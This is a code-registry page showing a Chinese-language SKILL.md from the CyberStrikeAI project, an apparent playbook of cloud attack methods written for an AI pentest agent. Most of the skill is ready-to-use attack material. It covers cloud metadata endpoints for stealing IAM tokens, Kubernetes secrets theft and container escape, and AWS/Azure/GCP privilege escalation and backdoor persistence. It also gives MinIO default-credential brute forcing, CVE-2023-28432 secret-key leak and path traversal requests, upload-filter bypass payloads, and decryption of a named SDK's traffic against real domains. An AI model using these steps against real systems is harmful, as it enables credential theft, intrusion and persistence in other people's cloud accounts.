Ed1s0nZEd1s0nZ/CyberStrikeAI/skills/cloud-attack-methods/SKILL.md

cloud-attack-methods

Skill8.5k starsChanged 9 days agoApache-2.0View on GitHub

云攻击:元数据API,S3/K8s,AWS/Azure/GCP身份提权,MinIO矩阵,阿里云FC,ChengZi SDK解密。Use when attacking cloud metadata, IAM, K8s, MinIO, Aliyun FC, or cloud post-ex.

Reads credentials

2 other projects use a version of this.

Apr 11, 2026General Information Regarding the Addition of New Features — six2dez/burp-ai-agent3 reactions · 2 comments
Jun 15, 2026feat: 接入CyberStrikeAI — zhongruan0522/Cloud-Development0 reactions
May 26, 2026Add: Ed1s0nZ/CyberStrikeAI — paranoailabs/ai-security-tools0 reactions
Mar 9, 2026📈 Bản tin xu hướng AI mã nguồn mở 2026-03-09 — compasify/agents-radar0 reactions
Dec 19, 2025[项目申请]: CyberStrikeAI — knownsec/404StarLink0 reactions · 1 comment

1 more on GitHub

Dec 11, 2025[项目申请]: CyberStrikeAI — knownsec/404StarLink0 reactions · 1 comment

On Bluesky · 2

Mar 8, 2026今日のGitHubトレンド Ed1s0nZ/CyberStrikeAI CyberStrikeAIは、Go言語で構築されたAIを活用したセキュリティテストプラットフォームです。… — @dailygithubtrends.bsky.social1 likes and repost
Feb 7, 2026Day 10 of useful #GitHub projects: CyberStrikeAI is an AI-native security testing platform built in Go github.com/Ed1s0nZ/Cybe... #devops… — @hugovalters.bsky.socialsays it tested it1 likes and repost

On Hacker News · 1

Mar 8, 2026AI Powered Exploit Kit1 point

Other versions2 projects use a version of this.
Word for word · 2
AIPentest/CyberStrikeAI★ 8.5k100% same
Kxiandaoyan/CyberStrikeAI★ 19100% same
Edited · 0
None found.
Wrote their own version · 0
None found.
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository22 other files it gives its agents.
- active-directory-attackSkill
- ai-llm-app-attackSkill
- attack-surface-reconSkill
- binary-mobile-reversingSkill
- blockchain-contract-attackSkill
- capability-primitive-searchSkill
- component-vuln-intelSkill
- cyberstrike-eino-demoSkill
- initial-access-phishingSkill
- pentest-agent-osSkill
- pentest-blackboardSkill
- pentest-output-standardsSkill
- pentest-verificationSkill
- post-exploitationSkill
- proxy-tool-bootstrapSkill
- redteam-opsecSkill
- source-code-huntingSkill
- specialized-attack-playbooksSkill
- unlimited-attack-scopeSkill
- web-attack-methodsSkill
- wireless-hardware-attackSkill
- zero-day-discoverySkill

The file

Create a free account to mount

Files

SKILL.md

云攻击手法

=== 云 ===
元数据API: AWS 169.254.169.254/latest/meta-data/iam/ | Azure -H Metadata:true | GCP metadata.google.internal | 阿里云100.100.100.200
对象存储: aws s3 ls --no-sign-request | K8s: /var/run/secrets/.../token → api/v1拿secrets/exec pods → cluster-admin
🚨云身份攻击(拿到key/token后的提权横向):
  AWS: enumerate-iam/cloudfox/ScoutSuite枚举权限 → pacu自动找privesc(iam:PassRole+lambda/ec2/glue等18+条) | STS AssumeRole跨账户 | Lambda环境变量偷密钥
  Azure/Entra: roadtools(roadrecon dump租户)/AADInternals | 设备码/刷新令牌 | Managed Identity IMDS偷token | Automation Runbook RCE | Key Vault读密钥
  Entra后渗透: GraphRunner(Graph API枚举/搜邮件/加后门App) | 服务主体加凭据(隐蔽持久化) | 动态组滥用 | PRT偷取横向
  GCP: 服务账户token(metadata) | serviceAccountTokenCreator/actAs提权 | gcloud枚举
🚨K8s深入(拿到集群网络/pod): kubelet 10250未授权(/pods列举,/exec进任意容器) | etcd 2379无认证读全secrets | API Server匿名 | RBAC过权SA(kubectl auth can-i --list) | 特权pod挂宿主逃逸 | 云K8s抢node身份→IMDS
🚨MinIO攻击矩阵:
  指纹: Server: MinIO | /minio/health/live → 200(空body) | /minio/health/cluster → 200 | 9000(API)+9001(Console)
  Console爆破: POST http://IP:9001/api/v1/login body={"accessKey":"minioadmin","secretKey":"minioadmin"} | 403="invalid Login"
  STS API: POST /?Action=AssumeRoleWithWebIdentity&Version=2011-06-15&WebIdentityToken=JWT → 需JWT provider配置
  CVE-2023-28432: POST /minio/health/cluster?verify (信息泄露,返回环境变量含MINIO_SECRET_KEY)
  CVE-2023-28434: 路径穿越 /bucket/..%2F..%2Fetc/passwd → XMinioInvalidResourceName(已修补则不可用)
  匿名访问: GET /bucket-name/ → ListBucket(200)=匿名读 | PUT /bucket/file → AccessDenied(403)=匿名写被禁
  上传绕过: 应用层sign验证dir参数但不校验→可写任意bucket(sign只校验cid+et+og不含dir)
  扩展名绕过: .jsp;.jpg / .jsp%00.jpg 过应用黑名单但MinIO存储为静态文件(image/jpeg)不执行
🚨阿里云FC函数(fcapp.run)枚举:
  识别: URL含 *.cn-{region}.fcapp.run → 阿里云函数计算(Serverless)
  特征: POST返回"unauthorized method 'POST'"(405) = 只接受GET | 200+{"code":200,"msg":"Forbidden"} = 路径存在但缺参数
  利用: GET /{path}/{id}.html → 302重定向泄露真实CDN域名+auth_key签名URL(暴露CDN域名/bucket结构/签名算法)
  枚举: 不同路径前缀对应不同APP(/mkzavakx/ vs /kpqwbcoq/) | 无效ID→302到qzone.qq.com/404.html(fallback)
  路径穿越: FC正确规范化(../无效),但可枚举不同function路径
  CDN auth_key(昆仑CDN kunlunaq.com): format=timestamp-rand-uid-md5(uri-timestamp-rand-uid-privatekey) → 破解需privatekey | x-tengine-error暴露"denied by req auth"
  FC→CDN链路: FC函数生成签名URL→kunlun/kijwsks.com CDN下载 | referer伪装百度(mo.baidu.com)
🚨橙子建站(ChengZi SDK)解密:
  初始化: POST https://random.d3504.cn/init3 body={appkey,channelCode,...} → 加密响应(base64)
  解密: 单字节XOR key=0x96 → JSON(channelCode/fu下载URL/csu跟踪URL/ph安装包hash)
  d3504.cn通过Cloudflare+阿里云DDoS防护(aliyunddos)+昆仑CDN(kunlunaq.com) → 多层防护
  关键: fu字段=真实APK下载FC函数URL(可能与落地页不同region!) | csu=点击跟踪回调URL

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

It worked
Partly
It didn't

What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

Check your setup, free

cloud-attack-methods

Trending

Most recently taken up by

Who's talking about Ed1s0nZ/CyberStrikeAI

On GitHub · 6